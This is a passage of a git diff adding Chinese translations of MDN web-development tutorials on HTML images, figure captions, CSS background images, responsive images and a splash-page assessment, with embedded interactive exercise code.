class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 200px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = 'https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg'; + const answer = +`<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="200" + height="171" + title="曼彻斯特大学博物馆展出的一只霸王龙的化石">`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 500) }}</p> + +<h2 id="通过为图片搭配说明文字的方式来解说图片">通过为图片搭配说明文字的方式来解说图片</h2> + +<p>说到说明文字, 这里有很多种方法让你添加一段说明文字来搭配图片。比如,没有人会阻止你这么做:</p> + +<pre class="brush: html"><div class="figure"> + <img src="/images/dinosaur_small.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="400" + height="341"> + <p>曼彻斯特大学博物馆展出的一只霸王龙的化石</p> +</div> +</pre> + +<p>这是可以的 , {{htmlelement("p")}} 中包含了你需要的内容,以及方便使用 CSS 的一种很好的风格。但是这里有一个问题 ,从语义的角度上来讲,{{htmlelement("img")}} 和 {{htmlelement("p")}} 并没有什么联系,这会给使用屏幕阅读的人造成问题,比如当你有 50 张图片和其搭配的 50 段说明文字,那么一段说明文字是和哪张图片有关联的呢?</p> + +<p>有一个更好的做法是使用 HTML5 的 {{htmlelement("figure")}} 和 {{htmlelement("figcaption")}} 元素,它正是为此而被创造出来的:为图片提供一个语义容器,在标题和图片之间建立清晰的关联。我们之前的例子可以重写为:</p> + +<pre><figure> + <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="400" + height="341"> + <figcaption>曼彻斯特大学博物馆展出的一只霸王龙的化石</figcaption> +</figure> +</pre> + +<p>这个 {{htmlelement("figcaption")}} 元素 告诉浏览器和其他辅助的技术工具这段说明文字描述了 {{htmlelement("figure")}} 元素的内容.</p> + +<div class="note"> +<p><strong>注意:</strong>从无障碍的角度来说,说明文字和 {{htmlattrxref('alt','img')}} 文本扮演着不同的角色。看得见图片的人们同样可以受益于说明文字,而 {{htmlattrxref('alt','img')}} 文字只有在图片无法显示时才这样。 所以,说明文字和 <code>alt</code> 的内容不应该一样,因为当图片无法显示时,它们会同时出现。尝试让你的图片不显示,看看效果如何。</p> +</div> + +<p>注意 {{htmlelement("figure")}} 里不一定要是一张图片,只要是一个这样的独立内容单元:</p> + +<ul> + <li>用简洁、易懂的方式表达意图。</li> + <li>可以置于页面线性流的某处。</li> + <li>为主要内容提供重要的补充说明。</li> +</ul> + +<p>{{htmlelement("figure")}} 可以是几张图片、一段代码、音视频、方程、表格或别的。</p> + +<h3 id="动手练习_创建一个_figure">动手练习: 创建一个 figure</h3> + +<p>在这个动手练习的部分中, 我们希望你把本章节中的上一个动手练习完成的代码拿过来,把它转换为一个 figure:</p> + +<ul> + <li>把之前的代码放入 {{htmlelement("figure")}} 元素中.</li> + <li>将 <code>title</code> 属性的文本复制出来, 删除 <code>title</code> 元素, 然后把文字放入 {{htmlelement("figcaption")}} 元素中,当然这个元素在 {{htmlelement("img")}} 的下面.</li> +</ul> + +<p>如果你遇到了错误,你可以按 reset 按钮来重置. 如果你遇到了困难无法完成, 按下 Show solution 按钮来看一下答案.</p> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 200px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = +`<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="200" + height="171">`; + const answer = +`<figure> + <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="200" + height="171"> + <figcaption>曼彻斯特大学博物馆展出的一只霸王龙的化石</figcaption> +</figure>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html> +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', 700, 500) }}</p> + +<h2 id="CSS_背景图片">CSS 背景图片</h2> + +<p>你也可以使用 CSS 把图片嵌入网站中(JavaScript也行,不过那是另外一个故事了),这个 CSS 属性 {{cssxref("background-image")}} 和另其他 <code>background-*</code> 属性是用来放置背景图片的。比如,为页面中的所有段落设置一个背景图片,你可以这样做:</p> + +<pre class="brush: css">p { + background-image: url("images/dinosaur.jpg"); +}</pre> + +<p>按理说,这种做法相对于 HTML 中插入图片的做法,可以更好地控制图片和设置图片的位置,那么为什么我们还要使用 HTML 图片呢?如上所述,CSS 背景图片只是为了装饰 — 如果你只是想要在你的页面上添加一些漂亮的东西,来提升视觉效果,那 CSS 的做法是可以的。但是这样插入的图片完全没有语义上的意义,它们不能有任何备选文本,也不能被屏幕阅读器识别。这就是 HTML 图片有用的地方了。</p> + +<p>总而言之,如果图像对您的内容里有意义,则应使用HTML图像。 如果图像纯粹是装饰,则应使用CSS背景图片。</p> + +<div class="note"> +<p><strong>提示:</strong>你可以在 <a href="/zh-CN/docs/Learn/CSS">CSS</a> 模块里学到更多关于<a href="/zh-CN/docs/Learn/CSS/Styling_boxes/背景">CSS背景图片</a>的东西。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>目前到此为止,我们详细介绍了图片和说明文字,在下篇文章中,我们将进一步看看如何使用 HTML 在网页上嵌入音频和视频。</p> + +<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML 中的图片</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">视频和音频内容</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">从 <object> 到 <iframe>:其它嵌入技术</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">为网页添加向量图形</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla 宣传页面</a></li> +</ul> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/index.html new file mode 100644 index 0000000000..03297c82fc --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/index.html @@ -0,0 +1,60 @@ +--- +title: 多媒体与嵌入 +slug: Learn/HTML/Multimedia_and_embedding +tags: + - 图像 + - 多媒体 +translation_of: Learn/HTML/Multimedia_and_embedding +--- +<p>{{LearnSidebar}}</p> + +<p class="summary">在这份教程中,到目前为止我们已经看到了许多的文字了。真的很多文字。但是网页除了文本之外什么都没有,真的非常无聊,所以,让我们开始看看怎样让网页动起来。用更多有趣的内容!本模块要探索怎样用HTML来让你的网页包含多媒体,包括可以包含图像的不同方式,以及怎样嵌入视频,甚至是整个其他的网页。</p> + +<h2 id="预备知识">预备知识</h2> + +<p>在你开始本模块之前,你应该已经拥有了关于HTML基础的合理知识,就是之前在<a href="https://developer.mozilla.org/zh-CN/docs/learn/HTML/Introduction_to_HTML">HTML介绍</a>中所述。如果你还没有看过那个模块(或者类似的),先去看看,然后再回来吧!</p> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>提示</strong></span>: 如果你在电脑/平板电脑/其他设备上不能创建你自己的代码文件,你可以尝试在在线代码编辑网站例如<a href="https://jsbin.com/">JSBin</a>或者<a href="https://thimble.mozilla.org/">Thimble</a>来运行(大部分的)代码示例。</p> +</div> + +<h2 id="指南">指南</h2> + +<p>本模块包含以下的文章,它们将会让你了解所有在网页上关于嵌入多媒体的基础方面。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML中的图片</a></dt> + <dd>还有其他类型的多媒体要考虑,但是从低调的 {{htmlelement("img")}} 元素开始是符合逻辑的,它常常被用来在网页中嵌入一个简单的图片。在这篇文章中,我们要看看怎样更深入的使用它,包括基础,用标题注解 {{htmlelement("figure")}},以及怎样把它关联到CSS背景图片。</dd> + <dt><a href="https://developer.mozilla.org/zh_CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">视频和音频内容</a></dt> + <dd>接下来,我们将看看怎样在我们的页面上用HTML5的 {{htmlelement("video")}} 和{{htmlelement("audio")}}元素来嵌入视频和音频;包括基础,提供向不同的浏览器提供不同文件格式的访问方式,增加标题和副标题,以及增加对过时的浏览器的兼容。</dd> + <dt><a href="/zh_CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">从 <object> 到 <iframe> — 其他嵌入技术</a></dt> + <dd>在这一节,我们将来了解一些另辟蹊径的内容,看一组元素,它们可以让你在页面中嵌入许多不同类型的内容: {{htmlelement("iframe")}}, {{htmlelement("embed")}} 和 {{htmlelement("object")}} 元素。 <code><iframe> 用来嵌入其他网页,而另外两者可以帮助你嵌入</code> PDF, SVG, 甚至是 Flash — 一种逐渐退出历史舞台的技术,不过也许你还是能时不时的看到它。</dd> + <dt><a href="/zh_CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">在页面中添加矢量图像</a></dt> + <dd>矢量图像在一些特定场景中非常有用。不同于常见的格式,比如PNG/JPG, 它们不会在放大的时候变得扭曲或者显示出像素格——它们可以在缩放时保持光滑。本文将为你介绍什么是矢量图像,以及如何在网页中添加流行的 {{glossary("SVG")}} 格式图像。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片</a></dt> + <dd>现在有许多不同的设备类型能够浏览网络 - 从手机到台式电脑 - 在现代网络世界中掌握的一个基本概念就是响应式设计。这是指创建可以自动更改其功能以适应不同屏幕尺寸,分辨率等的网页。稍后将在CSS模块中详细介绍这一点,但是现在我们将看看HTML可用于创建响应式图像的工具,包括{{htmlelement("picture")}}元素。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<p>以下评估将测试您对上述指南中涵盖的HTML基础知识的理解:</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla启动页面</a></dt> + <dd>在这个评估中,我们将测试您对本模块文章中讨论的一些技巧的了解,让您将一些图像和视频添加到一个关于Mozilla的时髦的页面!</dd> +</dl> + +<h2 id="参见">参见</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">在图像的顶部添加一个点阵图</a></dt> + <dd>图像映射提供了一种机制,使图像的不同部分链接到不同的地方(想想地图,链接到有关您点击的每个不同国家的更多信息。)这种技术有时可能是有用的。</dd> + <dt><a href="https://teach.mozilla.org/activities/web-lit-basics-two/">网络素质基础2</a></dt> + <dd> + <p>一个优秀的Mozilla基础课程,探讨并测试了多媒体和嵌入模块中谈到的一些技巧。 深入了解撰写网页的基础知识,设计可访问性,共享资源,使用在线媒体和开放工作。</p> + </dd> +</dl> + +<div id="gtx-trans" style="position: absolute; left: 215px; top: 1116px;"> +<div class="gtx-trans-icon"></div> +</div> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html new file mode 100644 index 0000000000..67df99dae4 --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html @@ -0,0 +1,114 @@ +--- +title: Mozilla醒目页面 +slug: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page +tags: + - 初学者 + - 响应式 + - 图像 + - 多媒体 + - 嵌入 + - 视频 + - 评估 +translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">在这个测验中,我们将测试你对于本模块文章所讨论的技术的掌握程度,让你将一些有关于 Mozilla 的图片和视频添加到一个漂亮的页面上!</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习本章节的要求:</th> + <td>在开始这个测验之前,你应该了解了 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding">多媒体与嵌入</a> 模块的其他文章.</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>测试这些知识的掌握程度:在页面中嵌入图片和视频,框架,和 HTML 响应式图片技术。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>为了开始这次测验,你需要从 <a href="https://github.com/roy-tian/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start">mdn-splash-page-start</a> 这个GitHub目录下下载HTML和图片。保存在你本地设备上。</p> + +<p>访问 <a href="https://github.com/roy-tian/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals">originals</a> 文件夹中不同的图片文件,然后用同样的方法将它们下载到本地。现在,你需要将这些图片文件保存到不同的目录下,因为在这些图片准备好被使用之前,你需要使用图像编辑器来处理这些图片.</p> + +<div class="note"> +<p><strong>注意</strong>: 这个示例的 HTML 文件包含一些页面的 CSS 样式。你不需要去碰 CSS 的内容,而只是 {{htmlelement("body")}} 元素中的 HTML 部分,只要你插入了正确的标记,样式就会正确显示。</p> +</div> + +<h2 id="项目概要">项目概要</h2> + +<p>在这个测验中,我们为你呈现了一个接近完成了的 Mozilla醒目页面,旨在说明一些关于Mozilla的有趣的事情,以及提供一些更一步的资源链接。但目前还没有添加任何视频或图片,这份工作就交给你了!你需要添加一些图片、视频等多媒体元素,好让页面变得更漂亮和更有意义。下一小节详细描述了你需要做的工作:</p> + +<h3 id="准备图片">准备图片</h3> + +<p>使用你最爱的图片编辑器,创建下面几张图片的 400px 宽的版本和 120px 宽的版本:</p> + +<ul> + <li><code>firefox_logo-only_RGB.png</code></li> + <li><code>firefox-addons.jpg</code></li> + <li><code>mozilla-dinosaur-head.png</code></li> +</ul> + +<p>给它们取个有意义的名字,例如<code>firefoxlogo400.png</code> 和<code>firefoxlogo120.png</code>。</p> + +<p>这些图片将和 <code>mdn.svg</code> 一起作为<code>further-info</code>区内资源链接的图标和网站页眉的火狐图标。将这些图片副本保存在与 <code>index.html</code>文件的同一个目录下。 </p> + +<p>接着,创建一个 1200px 宽的 <code>red-panda.jpg</code>风景图片版本,和一个 600px 宽的肖像版本,用来显示更近镜头下的熊猫. 同样地,为它们取一个你可以轻松分辨出来的名字. 将它们的副本保存在与 <code>index.html</code>文件相同的目录下。</p> + +<div class="note"> +<p><strong>注意</strong>:你应该在看起来还行的前提下尽量优化 JPG 和 PNG 图片的大小,<a href="https://tinypng.com/">tinypng.com</a>为此提供了很好的服务。</p> +</div> + +<h3 id="为_header_添加一个图标">为 header 添加一个图标</h3> + +<p>在 {{htmlelement("header")}} 元素中添加一个 {{htmlelement("img")}} 元素,嵌入一个小尺寸版本的火狐图标。</p> + +<h3 id="为主_article_添加一个视频">为主 article 添加一个视频</h3> + +<p>就在 {{htmlelement("article")}} 元素中(开放标签下面),嵌入一个 Bilibili 视频(<a href="https://www.bilibili.com/video/BV1rs411d7hC?p=2">https://www.bilibili.com/video/BV1rs411d7hC?p=2</a>),使用 Bilibili 生成嵌入代码。视频的宽度应该是 400px。</p> + +<h3 id="为_further_info_的链接添加响应式图片">为 further info 的链接添加响应式图片</h3> + +<p>在<code>further-info</code>类的 {{htmlelement("div")}}里你会看到四个 {{htmlelement("a")}} 元素,每个都指向一个有趣的、关于 Mozilla 的页面。为了完成这一部分,你需要在每个{{htmlelement("a")}} 元素里插入一个 {{htmlelement("img")}} 元素,需要包含合适的 {{htmlattrxref("src", "img")}},{{htmlattrxref("alt", "img")}},{{htmlattrxref("srcset", "img")}} 和 {{htmlattrxref("sizes", "img")}} 属性。</p> + +<p>我们希望每张图片(除了某个本身就是响应式的)在浏览器的视口的宽度小于等于480px时使用的120px宽的图片,其他情况下选择400px 的版本.</p> + +<p>确保正确的链接匹配了正确的图片!</p> + +<div class="note"> +<p><strong>注意</strong>: 为了正确的测试 <code>srcset</code>/<code>sizes</code> 示例,你需要把你的网站上传到服务器(使用 <a href="/zh-CN/docs/Learn/Common_questions/Using_Github_pages">Github pages</a> 是一个简单免费的方法),访问服务器上的网页,你就可以使用浏览器开发者工具来测试它们是否正常工作,如 <a href="/zh-CN/Learn/HTML/Multimedia_and_embedding/Responsive_images#Useful_developer_tools">响应式图片:有用的开发工具</a>中所说</p> +</div> + +<h3 id="一张小熊猫的艺术照">一张小熊猫的艺术照</h3> + +<p>在<code>red-panda</code>类的{{htmlelement("div")}} 中,我们希望插入一个{{htmlelement("picture")}}元素,在视口宽度小于等于600px时使用那张比较小的纵向的熊猫图片,在其他情况下则使用大的横向的图片。</p> + +<h2 id="示例">示例</h2> + +<p>下面的截图展示了在正确标记后,醒目页面在宽屏和窄屏下的样子。(可 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/html/multimedia-and-embedding/mdn-splash-page-finished/">在线查看</a>)</p> + +<p><img alt="A wide shot of our example splash page" src="https://mdn.mozillademos.org/files/12946/wide-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 620px; margin: 0px auto; width: 700px;"></p> + +<p><img alt="A narrow shot of our example splash page" src="https://mdn.mozillademos.org/files/12944/narrow-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 1069px; margin: 0px auto; width: 320px;"></p> + +<h2 id="评估">评估</h2> + +<p>如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在 <a href="https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679">discussion thread about this exercise</a>或<a href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>的<a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!</p> + +<h2 id="在这个模块中">在这个模块中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML中的图片</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">音视频内容</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies" rel="nofollow">从<object> 到<iframe> — 其他嵌入技术</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">给网页添加矢量图</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla醒目页面</a></li> +</ul> + +<p>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/responsive_images/index.html new file mode 100644 index 0000000000..4a5ab10f21 --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/responsive_images/index.html @@ -0,0 +1,259 @@ +--- +title: 响应式图片 +slug: Learn/HTML/Multimedia_and_embedding/Responsive_images +translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<div> +<p class="summary">在这篇文章中我们将学习关于响应式图片——一种可以在不同的屏幕尺寸和分辨率的设备上都能良好工作以及其他特性的图片,并且看看HTML提供了什么工具来帮助实现它们。响应式图片仅仅只是响应式web设计的一部分(奠定了响应式web设计的良好基础),我们会在未来的<a href="/en-US/docs/Learn/CSS">CSS topic</a>模块中学到更多关于这一主题的知识。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">学习本章节的前提:</th> + <td>你应该已经了解了 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML的基础</a> 以及如何 <a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">在网站上添加静态图片</a>.</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>学习如何使用 {{htmlattrxref("srcset", "img")}} 以及 {{htmlelement("picture")}} 元素,来实现网页中的响应式图片处理方法。</td> + </tr> + </tbody> +</table> + +<h2 id="为什么要用自适应的图片?">为什么要用自适应的图片?</h2> + +<p>让我们来看一个典型的场景。一个典型的网站可能会有一张页首图片,这让访问者看起来感到愉快。图片下面可能会添加一些内容图像。页首图像的跨度可能是整个页首的宽度。而内容图像会适应内容纵列的某处。此处有个简单的例子:</p> + +<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"></p> + +<p>这个网页在宽屏设备上表现良好,例如笔记本电脑或台式机(你可以<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">查看在线演示</a>并且在GitHub上查看<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">源代码</a>)。我们不会在这一节课中讨论CSS,除了下面提到的那些:</p> + +<ul> + <li>正文内容被设置的最大宽度为1200像素——在高于该宽度的可视窗口中,正文保持在1200像素,并将其本身置于可用空间的中间。在该宽度以下的可视窗口中,正文将保持在可视窗口宽度的100%。</li> + <li>页眉图像被设置为使其中心始终位于页眉的中心,无论页眉的宽度是多少。所以如果网站被显示在窄屏上,图片中心的重要细节(里面的人)仍然可以看到,而两边超出的部分都消失了。它的高度是200px。</li> + <li>内容图片已经被设置为如果body元素比图像更小,图像就开始缩小,这样图像总是在正文里,而不是溢出正文。</li> +</ul> + +<p>然而,当你尝试在一个狭小的屏幕设备上查看本页面时,问题就会产生。网页的页眉看起来还可以,但是页眉这张图片占据了屏幕的一大部分的高度,在这个尺寸下,你很难看到在第一张图片内容里的人。</p> + +<p><img alt="Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it." src="https://mdn.mozillademos.org/files/12936/non-responsive-narrow.png" style="display: block; height: 793px; margin: 0px auto; width: 320px;"></p> + +<p>一个改进的方法是,当网站在狭窄的屏幕上观看时,显示一幅图片的包含了重要细节的裁剪版本,第二个被裁剪的图片会在像平板电脑这样的中等宽度的屏幕设备上显示,这就是众所周知的<strong>美术设计问题(art direction problem)</strong>。</p> + +<p>另外,如果是在小屏手机屏幕上显示网页,那么没有必要在网页上嵌入这样大的图片。这被称之为<strong>分辨率切换问题(resolution switching problem)</strong>。位图有固定数量的像素宽,固定数量的像素高,与 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">矢量图</a> 外观相同,但本质不同。如果显示尺寸大于原始尺寸,一张自身较小的位图看起来会有颗粒感(矢量图则不会)。</p> + +<p>相反,没有必要在比图片实际尺寸小的屏幕上显示一张大图,这样做会浪费带宽——当可以在设备上使用小图像时,手机用户尤其不愿意因为下载用于桌面的大图像而浪费带宽。理想的情况是当访问网站时依靠不同的设备来提供不同的分辨率图片和不同尺寸的图片。</p> + +<p>让事情变得复杂的是,有些设备有很高的分辨率,为了显示的更出色,可能需要超出你预料的更大的图像。这从本质上是一样的问题,但在环境上有一些不同。</p> + +<p>你可能会认为矢量图形能解决这些问题,在某种程度上是这样的——它们无论是文件大小还是比例都合适,无论在哪里你都应该尽可能的使用它们。然而,它们并不适合所有的图片类型,虽然在简单图形、图案、界面元素等方面较好,但如果是有大量的细节的照片,创建矢量图像会变得非常复杂。像JPEG格式这样的位图会更适合上面例子中的图像。</p> + +<p>当web第一次出现时,这样的问题并不存在,在上世纪90年代中期,仅仅可以通过笔记本电脑和台式机来浏览web页面,所以浏览器开发者和规范制定者甚至没有想到要实现这种解决方式(响应式开发)。最近应用的响应式图像技术,通过让浏览器提供多个图像文件来解决上述问题,比如使用相同显示效果的图片但包含多个不同的分辨率(分辨率切换),或者使用不同的图片以适应不同的空间分配(美术设计)。</p> + +<div class="note"> +<p><strong>注意</strong>: 在这篇文章中讨论的新特性 — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — 都已经被新版本的现代浏览器和移动浏览器所支持(包括Edge,而不是IE)。</p> +</div> + +<h2 id="怎样创建自适应的图片">怎样创建自适应的图片?</h2> + +<p>在这一部分中,我们将看看上面说明的两个问题,并且展示怎样用HTML的响应式图片来解决这些问题。需要注意的是,如以上示例所示,在本节中我们将专注于HTML的 